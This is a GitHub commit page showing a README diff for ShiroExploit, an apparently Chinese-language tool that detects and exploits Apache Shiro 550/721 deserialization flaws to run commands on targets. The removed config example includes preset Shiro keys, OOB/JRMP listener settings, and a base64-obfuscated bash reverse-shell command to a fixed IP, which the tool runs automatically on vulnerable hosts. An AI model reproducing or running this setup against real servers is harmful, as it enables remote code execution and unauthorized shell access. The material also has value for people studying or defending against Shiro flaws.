Skip to content

Commit

Permalink
Merge remote-tracking branch 'github/master'
Browse files Browse the repository at this point in the history
  • Loading branch information
feihong committed Mar 26, 2020
2 parents 03f4990 + 850993c commit 856065b
Showing 1 changed file with 12 additions and 61 deletions.
73 changes: 12 additions & 61 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,68 +1,19 @@
# ShiroExploit
# ShiroExploit GUI Version
支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测

## 配置文件说明
```
[Keys]
Key1=kPH+bIxk5D2deZiIxcaaaA==
Key2=2AvVhdsgUs0FSA3SDFAdag==
```
* 程序中预置的Shiro(v1.2.4)可能使用的硬编码秘钥

```
[Target]
TargetURL=http://192.168.177.129:8080/samples-shiro/
RememberMeCookie=tTXHGdbq8p+JGY5hWNe5CH9hyBVpA5Ru5vc+cmRrVYfMPV5ryxJ2UNWYxQu0626qDdit14EYa9u7JwaGkGL6YWf3BsaojfwCddgsga8RmeIxdppMuLQm11XC9O1w3fiUJ0TjZg7lHALTaDzoeiiS9oMLitkCLHEMN6HjkBJYT2MPYihzejL9+8Rj8ppXsYVC3EhDfYN5wrm8TN4qFyowf33XyIiwxlCFH3Z3Dw5uPTwYmEiwbRxCLqzc8HJXAvM7SfKgpTFCG0wNvjh07w53GtCDtc73ztn5G5kN+PZ07/GK7Oy+0YpjZj7TclJ28hgB86TE28pu7HbKD24oAO1NVLJ5ODRddlHan9pijJCUnDs9LJNCBWWyYEj87Ipk3vJ7I3cJo+/L6IbCgm7BRJ/sT+p+3JLlmb24OD5MTxadW520HNEM+YFD6gBFg9MKxULWfUfaU//b1tzt8zWCf3KEZH/bSmweVaef9TRj+DLJZ2792R6OOkS16hpDGiqnRwK0
VulType=2
UseJRMP=true
SkipIfFound=false
```
* ```TargetURL``` 表示想要检测的目标URL
* ```RememberMeCookie``` 表示一个有效的rememberMe cookie值,Shiro721漏洞利用的前提就是需要一个有效的rememberMe cookie, Shiro550漏洞不需要设置此项
* ```VulType``` 数字1表示Shiro550,数字2表示Shiro721
* ```UseJRMP``` 表示在漏洞利用过程中,是否使用JRMP协议,默认为true,有些Gadget比如CommonsCollections1在Shiro反序列化过程中会抛出异常,需要借助JRMP协议才能正常触发。程序中也支持不使用JRMP协议的方式,将此选择设置为false即可。
* ```SkipIfFound``` 在找到一个有效的Gadget时,是否继续寻找其他有效的Gadget,默认为false
* 在检测Shiro721漏洞时,使用JRMP协议可以有效的降低payoad的生成时间。这里给出一个数据作为对比,在本地测试过程中,使用Padding Oracle加密CommonsBeanutils1的payload需要约18.5分钟,使用Padding Oracle加密JRMP Client的payload需要约2.8分钟,大大提升了效率,在检测Shiro721的过程中,建议将此选项设置为true
## 使用说明
![pic1](https://raw.githubusercontent.com/feihong-cs/ShiroExploit_GUI/master/imgForReadMe/pic1.png)
+ 按要求输入要检测的目标URL和选择漏洞类型
+ Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe Cookie

```
[OOBService]
ServerAddress=10.21.140.78
HTTPPort=8080
JRMPPort=8088
```
* ```ServerAddress``` 开启了OOBService的Server地址,可以在公网中运行,也可以在内网中运行
* ```HTTPPort``` Server监听的HTTPService的端口,如果未指定,默认为8080。如果Server的HTTPService的监听端口不是8080,此处需要做出相应的修改
* ```JRMPPort``` Server监听的JRMPListener的端口,如果未指定,默认为8088。如果Server的JRMPListener的监听端口不是8088,此处需要作出相应的修改
* 程序中默认实现了一个OOBService,可以认为是ceye的一个简单实现(支持HTTP/不支持DNS),用于配合程序的使用。可以使用命令```java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [port1] [port2]```进行开启,其中port1表示HTTPService的监听端口,port2表示JRMPListener的监听端口。如果未指定port参数,则HTTPService默认监听8080端口,JRMPListener默认监听8088端口
![pic2](https://raw.githubusercontent.com/feihong-cs/ShiroExploit_GUI/master/imgForReadMe/pic2.png)
+ 如果选择```和CEYE配合使用```,则无需进行任何配置,程序中已经内置了CEYE域名和对应的Token,即使多人同时使用,也不会存在干扰问题。
+ 如果选择```和自实现的OOB Service```配合使用,则需要通过命令```java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]```开启OOB Service,并按照要求填入相应IP和端口
+ 如果开启OOB Service时未指定端口号,则HTTPService默认监听8080端口,JRMPListener默认监听8088端口

```
[CeyeService]
Domain=7wt***.ceye.io
Token=a78**********09e0**********68b2
```
* ```Domain``` 注册得到的ceye域名
* ```Domain``` 注册得到的API Token
* 如果你觉得配置OOBService麻烦,不想使用OOBService,可以直接使用ceye的服务,此时程序不支持和JRMP协议配合使用。在检测Shiro550的时候,使用ceye服务可以使用URLDNS payload,可以非常方便的探测出目标使用的有效密钥,这是一个优势
* 在同时配置了OOBService和CeyeService的情况下,程序会优先选择OOBService,如果OOBService不可用,程序会使用CeyeService

```
[Command]
Command=bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMS4xNDAuNjYvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
```
* ```Command``` 想要执行的命令
* 程序在检测出目标应用存在相应漏洞和可利用的Gadget后,会自动执行用户提供的命令

```
[delay]
Delay=5
```
* ```Delay``` 程序发送触发HTTP/DNS请求的payload以后,延迟多长时间去OOBService/CeyeService去查看是否产生了相应的OOB请求,默认为5s

## Shiro550使用示例
![img](https://raw.githubusercontent.com/feihong-cs/ShiroExploit/master/imgForReadMe/abc1.png)

## Shiro721使用示例
![img](https://raw.githubusercontent.com/feihong-cs/ShiroExploit/master/imgForReadMe/abc2.png)
![pic3](https://raw.githubusercontent.com/feihong-cs/ShiroExploit_GUI/master/imgForReadMe/pic3.png)
![pic4](https://raw.githubusercontent.com/feihong-cs/ShiroExploit_GUI/master/imgForReadMe/pic4.png)
+ 程序在判断目标应用是否存在漏洞时,命令输入框无法进行输入。当程序检测出目标应用存在漏洞时,命令输入框可以进行输入并执行命令。

## 备注
在使用漏洞检测主程序或者使用OOBService时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。

0 comments on commit 856065b

Please sign in to comment.